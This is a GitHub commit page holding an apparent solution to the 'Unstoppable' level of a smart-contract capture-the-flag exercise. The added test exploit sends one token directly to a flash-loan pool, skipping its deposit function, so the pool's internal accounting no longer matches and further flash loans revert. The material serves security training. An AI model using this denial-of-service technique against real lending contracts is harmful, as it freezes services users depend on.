Skip to content

Commit

Permalink
Challenge theredguild#1 solved.
Browse files Browse the repository at this point in the history
  • Loading branch information
Farber98 committed Jan 10, 2023
1 parent 4c67b14 commit f3d79e2
Show file tree
Hide file tree
Showing 2 changed files with 64 additions and 53 deletions.
4 changes: 3 additions & 1 deletion test/unstoppable/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -89,5 +89,7 @@ In order to beat the level, we need to send tokens to the SC directly, bypassing
# Attack function

```
it("Exploit", async function () {
await this.token.transfer(this.pool.address, 1);
});
```
113 changes: 61 additions & 52 deletions test/unstoppable/unstoppable.challenge.js
Original file line number Diff line number Diff line change
@@ -1,53 +1,62 @@
const { ethers } = require('hardhat');
const { expect } = require('chai');

describe('[Challenge] Unstoppable', function () {
let deployer, attacker, someUser;

// Pool has 1M * 10**18 tokens
const TOKENS_IN_POOL = ethers.utils.parseEther('1000000');
const INITIAL_ATTACKER_TOKEN_BALANCE = ethers.utils.parseEther('100');

before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */

[deployer, attacker, someUser] = await ethers.getSigners();

const DamnValuableTokenFactory = await ethers.getContractFactory('DamnValuableToken', deployer);
const UnstoppableLenderFactory = await ethers.getContractFactory('UnstoppableLender', deployer);

this.token = await DamnValuableTokenFactory.deploy();
this.pool = await UnstoppableLenderFactory.deploy(this.token.address);

await this.token.approve(this.pool.address, TOKENS_IN_POOL);
await this.pool.depositTokens(TOKENS_IN_POOL);

await this.token.transfer(attacker.address, INITIAL_ATTACKER_TOKEN_BALANCE);

expect(
await this.token.balanceOf(this.pool.address)
).to.equal(TOKENS_IN_POOL);

expect(
await this.token.balanceOf(attacker.address)
).to.equal(INITIAL_ATTACKER_TOKEN_BALANCE);

// Show it's possible for someUser to take out a flash loan
const ReceiverContractFactory = await ethers.getContractFactory('ReceiverUnstoppable', someUser);
this.receiverContract = await ReceiverContractFactory.deploy(this.pool.address);
await this.receiverContract.executeFlashLoan(10);
});

it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
});

after(async function () {
/** SUCCESS CONDITIONS */

// It is no longer possible to execute flash loans
await expect(
this.receiverContract.executeFlashLoan(10)
).to.be.reverted;
});
const { ethers } = require("hardhat");
const { expect } = require("chai");

describe("[Challenge] Unstoppable", function () {
let deployer, attacker, someUser;

// Pool has 1M * 10**18 tokens
const TOKENS_IN_POOL = ethers.utils.parseEther("1000000");
const INITIAL_ATTACKER_TOKEN_BALANCE = ethers.utils.parseEther("100");

before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */

[deployer, attacker, someUser] = await ethers.getSigners();

const DamnValuableTokenFactory = await ethers.getContractFactory(
"DamnValuableToken",
deployer
);
const UnstoppableLenderFactory = await ethers.getContractFactory(
"UnstoppableLender",
deployer
);

this.token = await DamnValuableTokenFactory.deploy();
this.pool = await UnstoppableLenderFactory.deploy(this.token.address);

await this.token.approve(this.pool.address, TOKENS_IN_POOL);
await this.pool.depositTokens(TOKENS_IN_POOL);

await this.token.transfer(attacker.address, INITIAL_ATTACKER_TOKEN_BALANCE);

expect(await this.token.balanceOf(this.pool.address)).to.equal(
TOKENS_IN_POOL
);

expect(await this.token.balanceOf(attacker.address)).to.equal(
INITIAL_ATTACKER_TOKEN_BALANCE
);

// Show it's possible for someUser to take out a flash loan
const ReceiverContractFactory = await ethers.getContractFactory(
"ReceiverUnstoppable",
someUser
);
this.receiverContract = await ReceiverContractFactory.deploy(
this.pool.address
);
await this.receiverContract.executeFlashLoan(10);
});

it("Exploit", async function () {
await this.token.transfer(this.pool.address, 1);
});

after(async function () {
/** SUCCESS CONDITIONS */

// It is no longer possible to execute flash loans
await expect(this.receiverContract.executeFlashLoan(10)).to.be.reverted;
});
});

0 comments on commit f3d79e2

Please sign in to comment.